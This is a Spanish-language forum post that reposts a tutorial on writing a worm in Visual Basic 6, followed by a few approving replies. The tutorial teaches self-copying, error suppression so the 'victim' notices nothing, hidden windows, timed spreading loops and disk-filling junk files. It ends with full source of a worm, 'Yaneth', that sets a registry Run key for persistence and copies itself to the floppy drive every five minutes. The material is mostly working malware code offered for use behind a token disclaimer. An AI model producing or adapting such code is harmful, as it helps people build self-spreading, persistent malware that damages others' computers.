Bueno este es un tuto o mejor una guia para hacer tu worm en vb6 se las dejo por que en indetectables hay muchos source pero no bien explicados o explicacion nula feliz año nuevo XD (el tuto no lo hice yo pero se los dejo para q vean si hay algun post como este mis disculpas)aqui el enlace de donde lo saque

link:[Enlace externo eliminado para invitados]


Como crear un gusano en VB


aqui vas a aprender a hacer un gusano (worm)

Mucha gente posee altos conocimientos en programación y sin embargo no tiene idea de como programar
un gusano, creo que para esto lo que se necesita aparte del conocimiento es imaginación.

NOTA:
Yo no me hago responsable por el mal uso de los conocimientos aquí expuestos, solo son para fines
educativos, tú y solo tú eres el único responsable de los daños y problemas que generes si liberas
gusanos intencionalmente. Luego no dirás que yo te obligue.
Sintaxis en VB

Visual Basic es un entorno de programación de aplicaciones muy amigable creado por Microsoft, muy
fácil de usar. Con este tutorial aprenderás una sencilla rutina para crear un programa residente
en Visual Basic 6.0.


El inicio y el final de un código en Visual Basic

Al crear un proyecto EXE estándar en Visual, puedes observar que se crea un panel en donde
podemos colocar botones, cuadro de textos, etc., en este caso eso es irrelevante para lo que
queremos crear. Lo interesante comienza al hacer doble clic en ese panel llamado FORM, podemos
ver el código interno del panel. Las únicas líneas de código existente son las siguientes.

'---------------------------------------------------------------------------------
Private Sub Form_Load()

End Sub
'---------------------------------------------------------------------------------

Estas son las etiquetas principales, el inicio y el final de nuestro programa de nuestro panel,
que le llamaremos de ahora en adelante “formulario”.

Private Sub Form_Load() ----------- es la prima línea de código que se lee del formulario
End Sub ----------- es la etiqueta que da fin a nuestra rutina

Dentro de estas se coloca el código que queremos que se ejecute en nuestra aplicación. Un ejemplo
seria lo siguiente.

'----------------------------------------------------------------------------------
Private Sub Form_Load()
MsgBox “¡Hola Mundo!”
End Sub
'---------------------------------------------------------------------------------

Si vamos a las barras de herramientas superiores observamos el botón “ejecutar”, elijamos la
opción “inicio” del submenú y obtendremos de salida lo siguiente:




Después de dar en Aceptar, se abrirá el formulario en blanco en el cual hemos introducido el
código del saludo. Esta ventana la ocultaremos mas adelante para no delatarnos.



Analizemos la sintaxis de nuestros encabezados y finales de rutinas.

Private ---------- No conozco su función, las rutinas funcionan aun sin ella, no le toquemos.
Sub ----------Subrutina, después de ella pondremos el nombre de la rutina seguida de
paréntesis, como Hola_mundo(), Rutina(), GEDZAC(), etc.
Nunca utilices palabras separadas, manda error, únelas con un guión bajo.


Subrutinas

Las subrutinas son muy útiles para los casos que en nuestro código usemos instrucciones
que se utilizan muchas veces, al colocarlas en una subrutina disminuirá considerablemente
nuestro código, que es lo ideal. Una subrutina es como el Procedure en Pascal, un procedimiento.

Veamos el siguiente ejemplo usando el usando una subrutina:

'----------------------------------------------------------------------------------
Sub Form_Load()
hola_mundo
End Sub
Sub hola_mundo()
MsgBox "¡Hola Mundo!"
End Sub
'----------------------------------------------------------------------------------

Ya se que esto no se les hace interesante, lo que quieren es empezar a reproducir su worm Para
esto, les enseñare el uso de ciertos comandos en Visual y los uniremos para lograr nuestra creación.



FileCopy

Para copiar archivos el comando que realiza esto en Visual Basic es “FileCopy”. Si queremos
copiar nuestro worm, la sintaxis es:

FileCopy “Archivo origen” , “Archivo destino”

Un ejemplo es el siguiente:

FileCopy “A:\Gusano.EXE” , “C:\HijodelGusano.EXE”


App.EXEName

Pero el definir el nombre de nuestro worm limita nuestro radio de acción, debido a que el programa
solo se copiara si se encuentra en o si tiene A:\, además que si el nombre es modificado no se copiara.

Para estos casos existe otro comando que nos ayuda a copiarnos no importando el lugar donde este
el programa, esta es “App.EXEName”, con esta instrucción se obtiene el nombre de la aplicación,
esto es útil, ya que así nuestro worm no dependerá de un solo nombre, el comando se encarga de averiguarlo.

Si el worm se llama “Gusano” al ejecutar el programa, el valor de App.EXEName será: Gusano ,
pero nos hace falta indicar la extensión ya que solo hemos obtenido el nombre.

Ahora uniendo las dos instrucciones, “FileCopy” y “App.EXEName” obtenemos lo siguiente:

'----------------------------------------------------------------------------------
Sub Form_Load()
FileCopy App.EXEName & “.EXE” , “C:\HijodelGusano.EXE”
End Sub
'----------------------------------------------------------------------------------

Copia el código anterior en Visual Basic y ejecútalo.

Si ejecutas esto como el ejemplo Hola, nos manda un error debido a que no hemos creado nuestro
ejecutable, no existe aun la aplicación.

Ve al menú “Archivo” y elige del submenú la opción “Generar Proyecto1.EXE” elige donde guardarlo
y ponle un nombre a tu EXE y da en “Aceptar”, ahora búscalo donde le guardaste y ejecútalo.

Si todo sale bien veras un formulario en blanco (sin botones ni nada), ahora busquemos en C:\.
Ahí esta el Hijo del gusano.

Si quieres crear una copia de tu worm en el directorio que se ejecuta, en lugar de escribir el
nombre de la unidad, escribirás un punto y la diagonal: “.\” Visual Basic entenderá que quieres copiar en el directorio actual.


On Error Resume Next

¿Que pasaría si nos queremos copiar a la unidad A y no hay disquete? Nos mandaría error… uuh, y la
victima se daría cuenta que algo anda mal. La etiqueta para evitar estos errores es:
“On Error Resume Next”, esto le indica al programa que si detecta algún error en el procedimiento
de las rutinas salte a la siguiente línea de su código.


Crear Archivos TXT

Ahora ya sabemos como copiarnos sencillamente, ahora veamos, como dejar una pequeña firma en un archivo TXT.

Para crear archivos, escribir y cerrar en Visual Basic se utilizan los siguientes comandos.

“Open”, “For”, “As”, “Output”, “Print” y “Close”

Cada vez que abramos o creemos un archivo tenemos que establecerle un numero para que si
realizamos varias aperturas y escrituras estas sean fácilmente identificadas por el programa.

Open ---------- abre o crea un archivo.
Print ---------- escribe dentro del archivo.
Close ---------- cierra el archivo.

Veamos la sintaxis para entender sus funciones mas claramente.

Open Ruta del archivo For Output As #1
Print #1, Texto del archivo
Close #1

Esto quiere decir: Abrir o crear el archivo, prepararlo para escritura, y asignarle el numero 1,
escribir dentro de 1 un texto y cerrar a 1.

Mas claro no puede estar, este procedimiento es casi idéntico al que se realiza para escribir en
archivos en VBS, y si sabes VBS no tendrás problemas.

De esta manera podrás dejar firmas en archivos TXT o también crear archivos con cualquier extensión
como EXE o MP3, pero esos archivos no funcionaran, pero talvez te servirán para saturar el disco
duro de la victima generando un poco de basura.



Genera un ejecutable con esto:

'----------------------------------------------------------------------------------
Sub Form_Load()
On Error Resume Next
Open “C:\ Worm.Win32.TutorialVB.TXT” For Output As #1
Print #1, “Este TXT lo genero”
Print #1, “el”
Print #1, “Worm.Win32.TutorialVB”
Close #1
End Sub
'----------------------------------------------------------------------------------

Esto generara un archivo llamado Worm.Win32.TutorialVB.TXT en el directorio raíz de C con
el siguiente contenido:




Minute(Now)

Ahora viene lo mejor, como hacer una rutina que me controle el tiempo de copiado de nuestro worm.

En Visual Basic existen comandos para obtener las horas, minutos y segundos del sistema, uno
de ellos es Minute(Now), que será usaremos primero.
Evaluemos una situación de copiado con IF.

'----------------------------------------------------------------------------------
Sub Form_Load()
On Error Resume Next
If Minute(Now) = 3 Then FileCopy App.EXEName & ".EXE", ".\HijodelGusano.EXE"
End Sub
'----------------------------------------------------------------------------------

Con esto, si ejecutamos nuestro worm y el minuto actual es 5 el Worm procederá a copiarse a la
computadora en la ruta indicada. No explicare el funcionamiento de If, eso lo puedes leer en mi
Tutorial básico de VBS.

Ahora, esta condición solo seria evaluada una sola vez, pero si lo incluimos dentro de un ciclo
Do el worm estaría residente en la PC, verificando en cada instante si el minuto actual del sistema
es 5, copiándose si son las 12:05, las 6:05, etc... Veamos este ejemplo:

'----------------------------------------------------------------------------------
Sub Form_Load()
Do
If Minute(Now) = 4 Then FileCopy App.EXEName & ".EXE", ".\HijodelGusano.EXE"
Loop
End Sub
'----------------------------------------------------------------------------------


Second(Now)

El problema de esto es que como la condición es verificada a cada instante no pararía de leer
la unidad de disquetes, haciendo esta conducta muy sospechosa J. Por lo tanto agregaremos
otro factor para que realice el copiado, ahora verificaremos el minuto y el segundo actual
del sistema. El comando para obtener los segundos del sistema es Second(Now). Ahora nos
copiaremos verificamos el minuto y el segundo actual:

'----------------------------------------------------------------------------------
Sub Form_Load()
On Error Resume Next
Do
If Minute(Now)= 5 And Second(Now) = 5 Then FileCopy App.EXEName & ".EXE", ".\K.EXE"
Loop
End Sub
'----------------------------------------------------------------------------------

Este al compilarlo y ejecutarlo hará que se copie al directorio actual cada vez que el minuto
y el segundo coincida con la condición establecida.


Ocultar el formulario del programa

Para ocultar los formularios del programa a la vista del usuario, iremos a la ventana propiedades
y en la opción “Visible”, cambiaremos de “True” a “False”.


Bueno, creo que todo esto es lo que necesitabas para crear un residente en Visual Basic, a
continuación te muestro algo de lo que puedes hacer, el Worm.Win32.Yaneth.7168.

'----------------------------------------------------------------------------------
'\^fibsoZ'e~'Lrftfif`rn(@BC]FD
'lrftfif`rnGuhdlbuht)dhj
'@rtfih'cb'cntvrbsbt'bwbunjbisfk)
'Thkh'wfuf'anibt'cncfdsndht)
'Jfibmbtb'dhi'drncfch)
'Kribt '50'cb'Bibuh'cb'5774

Private Sub Form_Load()
A = App.EXEName
E = ".exe"
C = "C:\Yaneth.exe"
On Error Resume Next
FileCopy A & E, C
Set Yanet = CreateObject("WScript.Shell")
Yanet.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yaneth", C
Open "C:\Yaneth.txt" For Output As #1
Print #1, "\^fibsoZ'e~'Lrftfif`rn(@BC]FD"
Print #1, "\¸^fibso'chicb'btsft8Z"
Print #1, "\¦Btsf'dhi'kkrqnf&+'¦btsf'dhi'kkrqnf&Z"
Print #1, "\H'sfk'qb}+'sfk'qb}'))))'dhi'bk'vrnjndhZ"
Print #1, "\Bth'ih'bt'mrtshZ"
Print #1, "\Dhih}dh'f'fk`rnbi'vrb'kf'vrnbub'jft)))Z"
Close #1
Do
M = Minute(Now)
S = Second(Now)
Y = "A:\Yaneth.exe"
If M = 0 And S = 0 Then FileCopy A & E, Y
If M = 5 And S = 0 Then FileCopy A & E, Y
If M = 10 And S = 0 Then FileCopy A & E, Y
If M = 15 And S = 0 Then FileCopy A & E, Y
If M = 20 And S = 0 Then FileCopy A & E, Y
If M = 25 And S = 0 Then FileCopy A & E, Y
If M = 30 And S = 0 Then FileCopy A & E, Y
If M = 35 And S = 0 Then FileCopy A & E, Y
If M = 40 And S = 0 Then FileCopy A & E, Y
If M = 45 And S = 0 Then FileCopy A & E, Y
If M = 50 And S = 0 Then FileCopy A & E, Y
If M = 55 And S = 0 Then FileCopy A & E, Y
Loop
End Sub
'----------------------------------------------------------------------------------
Bueno, no me queda mas que despedirme
DOCUMENTO SACADO DE [Enlace externo eliminado para invitados]

Procura encerrar los códigos en sus respectivas etiquetas para evitar confundir el comentario con el código.
ByeOFF!¡

Gracias por compartir, no lo he heido tooodo, pero me gusta como vas explicando..

ttiiooo muy bien explicado!!! pero la proxima vez porfa pon el codigo entre las etiquetas de code.`

me servira mucho sobre todo lo de escribir en el txt que me lo has dejado muy claro!

gracias tioooo